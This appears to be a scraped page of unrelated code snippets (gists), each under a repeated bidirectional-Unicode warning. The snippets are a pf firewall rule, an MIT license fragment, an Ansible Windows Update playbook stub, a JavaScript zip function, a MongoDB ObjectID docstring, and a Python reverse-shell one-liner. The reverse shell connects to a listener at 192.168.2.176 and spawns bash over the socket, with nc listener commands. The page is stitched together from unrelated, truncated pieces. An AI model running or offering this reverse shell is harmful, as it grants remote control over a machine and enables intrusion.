This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add | |
scrub on bridge100 all min-ttl 65 | |
to | |
'/etc/pf.conf' | |
Reload with | |
sudo pfctl -f /etc/pf.conf | |
Check with | |
sudo pfctl -sa |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Permission is hereby granted, free of charge, to any person obtaining a copy | |
of this software and associated documentation files (the "Software"), to deal | |
in the Software without restriction, including without limitation the rights | |
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
copies of the Software, and to permit persons to whom the Software is | |
furnished to do so, subject to the following conditions: | |
The above copyright notice and this permission notice shall be included in all | |
copies or substantial portions of the Software. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
# Ansible playbook to run Windows Update and restart, if required | |
# | |
# http://docs.ansible.com/ansible/win_updates_module.html | |
# https://docs.ansible.com/ansible/win_reboot_module.html | |
- name: Windows Update | |
hosts: all | |
gather_facts: false | |
tasks: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function zip(a, b) { | |
var arr = []; | |
for (var key in a) arr.push([a[key], b[key]]); | |
return arr; | |
} | |
console.log(zip('foo', 'bar')); | |
//=> [ [ 'f', 'b' ], [ 'o', 'a' ], [ 'o', 'r' ] ] | |
console.log(zip(['a', 'b', 'c'], ['x', 'y', 'z'])); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
# on the CLIENT, run the following: | |
# nc -l 12345 | |
# on the SERVER, start the "reverse shell" | |
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345 | |
# now go to the CLIENT, listen on port 12345 for incoming shell connections | |
nc -l 12345 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Convert a MongoDB ObjectID to a version-1 UUID. | |
Python 2.7+ required for datetime.timedelta.total_seconds(). | |
ObjectID: | |
- UNIX timestamp (32 bits) | |
- Machine identifier (24 bits) | |
- Process ID (16 bits) | |
- Counter (24 bits) |